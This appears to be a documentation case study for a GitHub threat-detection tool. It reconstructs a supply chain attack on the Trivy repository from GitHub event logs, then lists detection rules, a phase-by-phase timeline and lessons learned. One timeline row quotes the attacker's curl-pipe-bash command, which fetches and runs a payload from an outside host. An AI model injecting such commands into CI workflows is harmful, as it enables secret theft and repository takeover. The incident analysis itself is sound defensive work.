On February 28–March 1, 2025, theDocumentation Index
Fetch the complete documentation index at: https://mintlify.com/morwn/github-threat-detector/llms.txt
Use this file to discover all available pages before exploring further.
aquasecurity/trivy repository — one of the most widely used open-source vulnerability scanners — suffered a sophisticated supply chain attack. Within four minutes of completing reconnaissance, the threat actor exploited a pull_request_target misconfiguration to exfiltrate a privileged PAT, then used it to vandalize the repository, delete 42 releases, and push a malicious artifact to the Open VSX marketplace. What makes this breach uniquely significant to GitHub Threat Detector is that the entire attack timeline was reconstructed solely from GitHub Events API data stored in a local PostgreSQL database — no external threat feeds, no third-party alerts, just event logs. The incident directly inspired several of the tool’s detection rules.
Attack Summary
Attack Vector
pull_request_target workflow triggered by a fork PR, loading a composite action from an attacker-controlled branch — giving the runner access to repository secrets without sandboxing.Duration
Phase 0 → full compromise: ~75 minutes (03:13–04:30 UTC). Patch live on
main: ~31 hours later (Mar 1, 10:15 UTC). First safe release v0.69.2: Mar 1, 19:14 UTC.Impact
42 GitHub Releases deleted (v0.27.0–v0.69.1), malicious artifact published to Open VSX marketplace,
README.md vandalized, repository briefly renamed and emptied.Detection Method
Timeline reconstructed entirely from the
github_events PostgreSQL table. Events survived the repo going private. No external sources required.Detection Rules Triggered
The following GitHub Threat Detector rules would have fired during this attack, ordered by phase:
issue-rapid-close— Phase 0: PR #10253 cycled open → closed four times in under four minutes, a clear probe of workflow-retrigger behavior.pr-target-abuse(critical) — Phase 1: PR #10254 opened from a fork branch triggeredapidiff.yamlviapull_request_target, granting the fork’s action code access toGH_TOKEN.workflow-run-from-fork(critical) — Phase 2: workflow run22512383587executed on an Actions runner with repository-secret access after the fork PR triggeredpull_request_target— the actual moment of exfiltration.force-push-default— Phase 3: commitd267cc4pushed directly tomainusing the stolen PAT, bypassing all branch protection review requirements.repo-made-public— Phase 4:PublicEventemitted at Mar 1, 00:28 UTC whentzurielweisbergrestored the repository, surfacing the post-incident recovery window.
Full Timeline
Phase 0 — Reconnaissance (Feb 28, 03:13–03:22 UTC)
The actorhackerbot-claw forked a public Trivy mirror, created an emoji-named branch, made two pushes, and then rapidly cycled PR #10253 open and closed four times in four minutes — probing whether each state change would retrigger a pull_request_target workflow. After confirming the behavior, the branch was deleted and the actor paused before moving to exploitation.
| Time (UTC) | Actor | Repo | Event | Detail |
|---|---|---|---|---|
| Feb 28, 03:13 | hackerbot-claw | fossabot/trivy | ForkEvent | Forks public Trivy mirror |
| Feb 28, 03:13 | hackerbot-claw | hackerbot-claw/trivy | CreateEvent (branch) | Creates branch 🤖🦞 |
| Feb 28, 03:15 | hackerbot-claw | hackerbot-claw/trivy | PushEvent | First push to 🤖🦞 |
| Feb 28, 03:17 | hackerbot-claw | hackerbot-claw/trivy | PushEvent | Second push to 🤖🦞 |
| Feb 28, 03:17 | hackerbot-claw | aquasecurity/trivy | PullRequestEvent opened | PR #10253 from 🤖🦞 → main |
| Feb 28, 03:17 | hackerbot-claw | aquasecurity/trivy | PullRequestEvent closed | PR #10253 closed — 7 seconds after opening |
| Feb 28, 03:20 | hackerbot-claw | aquasecurity/trivy | PullRequestEvent reopened | PR #10253 reopened — probing workflow retrigger |
| Feb 28, 03:21 | hackerbot-claw | aquasecurity/trivy | PullRequestEvent closed | PR #10253 closed again |
| Feb 28, 03:21 | hackerbot-claw | aquasecurity/trivy | PullRequestEvent reopened → closed | PR #10253 fourth state change — 4 cycles in 4 min |
| Feb 28, 03:22 | hackerbot-claw | hackerbot-claw/trivy | DeleteEvent (branch) | Deletes 🤖🦞 — recon complete |
Phase 1 — Exploit Delivery (Feb 28, 03:26–03:28 UTC)
Just four minutes after completing reconnaissance, the actor created a new branch with a plausible-sounding name, injected a curl-pipe-bash payload into.github/actions/setup-go/action.yaml, and opened PR #10254 — which was opened and closed at the same second. The pull_request_target trigger in apidiff.yaml fired regardless, because GitHub evaluates the workflow from the base branch (main), not the fork.
| Time (UTC) | Actor | Repo | Event | Detail |
|---|---|---|---|---|
| Feb 28, 03:26 | hackerbot-claw | hackerbot-claw/trivy | CreateEvent (branch) | Creates fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os |
| Feb 28, 03:26 | hackerbot-claw | hackerbot-claw/trivy | PushEvent | First commit — injects curl -sSfL https://hackmoltrepeat.com/molt | bash into .github/actions/setup-go/action.yaml |
| Feb 28, 03:28 | hackerbot-claw | hackerbot-claw/trivy | PushEvent | Final commit — payload locked |
| Feb 28, 03:28 | hackerbot-claw | aquasecurity/trivy | PullRequestEvent opened + closed | PR #10254 — triggers apidiff.yaml via pull_request_target; both events logged at same second |
Phase 2 — Execution & Exfiltration (Feb 28, 03:28–03:33 UTC)
The triggered workflow run (ID22512383587) executed on an Actions runner with access to repository secrets. The attacker’s composite action ran under the guise of the Set up Go step. The anomaly was duration: the step ran for over five minutes — compared to a normal setup time of under 30 seconds. The GH_TOKEN PAT was exfiltrated to recv.hackmoltrepeat.com. The job completed with status success. No alert was raised.
| Time (UTC) | Actor | Repo | Event | Detail |
|---|---|---|---|---|
| Feb 28, 03:28–03:33 | GitHub Actions | aquasecurity/trivy | (workflow run 22512383587) | Set up Go step runs >5 minutes — anomalous duration. Attacker’s composite action executes on runner. GH_TOKEN (PAT) exfiltrated to recv.hackmoltrepeat.com |
| Feb 28, 03:33 | GitHub Actions | aquasecurity/trivy | (workflow run 22512383587) | Job completes success — no alert raised |
| Feb 28, 03:57 | hackerbot-claw | hackerbot-claw/trivy | DeleteEvent (branch) | Deletes fix-pass-Detected-vulnerability-Custom-field-for-azure-and-mariner-os — covers tracks |
Phase 3 — PAT Exploitation (Feb 28, ~03:47–04:30 UTC)
With a privileged PAT in hand, the attacker moved to maximum-impact actions. The repository was taken private during this window, creating a gap in the public event stream. The gap itself — along with the post-recovery state of the repository — is the evidence. Forty-two releases spanning three years of the project were deleted, a malicious extension was published to the Open VSX marketplace, and the repository was emptied and renamed.| Time (UTC) | Actor | Repo | Event | Detail |
|---|---|---|---|---|
| Feb 28, ~03:47 | stolen PAT | aquasecurity/trivy | PushEvent (direct to main) | Commit d267cc4 — vandalizes README.md; creates 🤖🦞 branch with PoC.md |
| Feb 28, ~03:50 | stolen PAT | aquasecurity/trivy-vscode-extension | (marketplace publish) | Malicious artifact pushed to Open VSX marketplace |
| Feb 28, ~04:00 | stolen PAT | aquasecurity/trivy | (API call) | Deletes GitHub Releases v0.27.0–v0.69.1 — 42 releases, all assets and discussions removed |
| Feb 28, ~04:20 | stolen PAT | aquasecurity/trivy | (API call) | Repo made private, renamed to aquasecurity/private-trivy |
| Feb 28, ~04:30 | stolen PAT | aquasecurity/trivy | PushEvent | Empty repository pushed in place of original |
Phase 4 — Discovery & Remediation (Feb 28, 16:46 UTC – Mar 1, 19:14 UTC)
Discovery began over 12 hours after the initial exploit. Theaquasecurity security team revoked the malicious marketplace artifacts, restored the repository to public access, reproduced the exploit internally, patched the vulnerable workflow, and backported fixes to the v0.68 and v0.69 release branches — all within approximately 19 hours of the patch work beginning.
| Time (UTC) | Actor | Repo | Event | Detail |
|---|---|---|---|---|
| Feb 28, 16:46 | tzurielweisberg | aquasecurity/trivy-vscode-extension | DeleteEvent (tag) | Deletes v1.8.13 — malicious artifact revoked |
| Feb 28, 23:42 | tzurielweisberg | aquasecurity/trivy-vscode-extension | DeleteEvent (tag) | Deletes v1.8.14 — continued artifact cleanup |
| Mar 1, 00:28 | tzurielweisberg | aquasecurity/trivy | PublicEvent | Repository restored to public access |
| Mar 1, 00:34 | dependabot[bot] | aquasecurity/trivy | PullRequestEvent opened | PR #10257 — first automated activity confirms repo is live again |
| Mar 1, 07:53 | DmitriyLewen | aquasecurity/trivy | PullRequestEvent opened | PR #10258 from test/vulnerable-setup-go — internal exploit reproduction for forensics |
| Mar 1, 08:18 | knqyf263 | aquasecurity/trivy | CreateEvent + PR opened | PR #10259 from remove-apidiff-workflow — removes the vulnerable apidiff.yaml |
| Mar 1, 08:20 | nikpivkin | aquasecurity/trivy | PullRequestReviewEvent | Approves PR #10259 |
| Mar 1, 08:22 | DmitriyLewen | aquasecurity/trivy | PullRequestReviewEvent | Approves PR #10259 |
| Mar 1, 08:36 | DmitriyLewen | aquasecurity/trivy | PullRequestEvent opened | PR #10260 from test/vulnerable-setup-go-release-branch — exploit repro on release branch |
| Mar 1, 10:15 | knqyf263 | aquasecurity/trivy | PullRequestEvent merged | PR #10259 merged — vulnerable workflow removed from main |
| Mar 1, 10:15 | knqyf263 | aquasecurity/trivy | PushEvent → main | Patch live |
| Mar 1, 14:15 | knqyf263 | aquasecurity/trivy | PushEvent → release/v0.68 | Backport patch to v0.68 |
| Mar 1, 14:15 | knqyf263 | aquasecurity/trivy | PR #10262 opened + closed | remove-apidiff-v0.69 — removes workflow from v0.69 release branch |
| Mar 1, 14:23 | knqyf263 | aquasecurity/trivy | PushEvent → release/v0.69 | Patch live on v0.69 |
| Mar 1, 15:57 | itaysk | aquasecurity/trivy | DiscussionEvent created | Official incident disclosure — discussion #10265 |
| Mar 1, 17:13 | aqua-bot | aquasecurity/trivy | PR #10264 merged | Backport to release/v0.69 |
| Mar 1, 18:33 | aqua-bot | aquasecurity/trivy | PR #10266 merged | Release-please triggers v0.69 release build |
| Mar 1, 19:14 | aqua-bot | aquasecurity/trivy | ReleaseEvent published | v0.69.2 — first safe release post-breach |
| Mar 1, 19:14 | itaysk | aquasecurity/trivy | DeleteEvent (branch) | Deletes 🤖🦞 branch left by attacker |
| Mar 1, 19:20 | community | aquasecurity/trivy | WatchEvent spike | 80+ new stars over next 24 hours — incident disclosure drives attention |
Lessons Learned
-
pull_request_targetis a privileged boundary. Workflows usingpull_request_targetrun with the permissions of the base repository, not the fork. They must never reference or execute code from fork branches — including composite actions loaded viauses:from the fork’s path. Theapidiff.yamlworkflow loaded.github/actions/setup-gowithout pinning to a SHA or restricting to a trusted ref. - Composite actions in external or fork-controlled paths execute arbitrary code on the runner. The attacker didn’t need to modify the workflow YAML directly. Injecting a curl-pipe-bash payload into a composite action file that an existing workflow already calls is sufficient for full runner compromise.
-
PAT exfiltration is silent by design. The workflow job completed with status
success. There was no failed step, no timeout, no anomaly in the job-level status. The only detectable signal was the anomalous duration of theSet up Gostep (>5 minutes vs. <30 seconds normally) — which only becomes meaningful if you baseline expected step durations. -
Event logs survive when a repo goes private or is deleted. GitHub’s Events API records events up to the moment of privacy change. The gap in events is itself evidence: a repository that was public, generates a cluster of destructive events (
PushEventtomain, massDeleteEventon releases), and then disappears from the event stream is exhibiting a known post-exfiltration pattern. GitHub Threat Detector stores all events in PostgreSQL precisely so that the record persists beyond GitHub’s own retention window. - The Phase 0 → Phase 1 window was only 4 minutes. From the first recon push (03:13) to the exploit PR (03:26) was 13 minutes total; from the end of recon (03:22 branch deletion) to the exploit PR opening was just 4 minutes. Any detection system that relies on human review of alerts cannot respond in this window — detection must be automated and the signal must fire on Phase 0 behavior, before the exploit branch is even created.
Reproduce the Detection
Run the following commands against theaquasecurity/trivy repository to reproduce the findings from this case study using GitHub Threat Detector: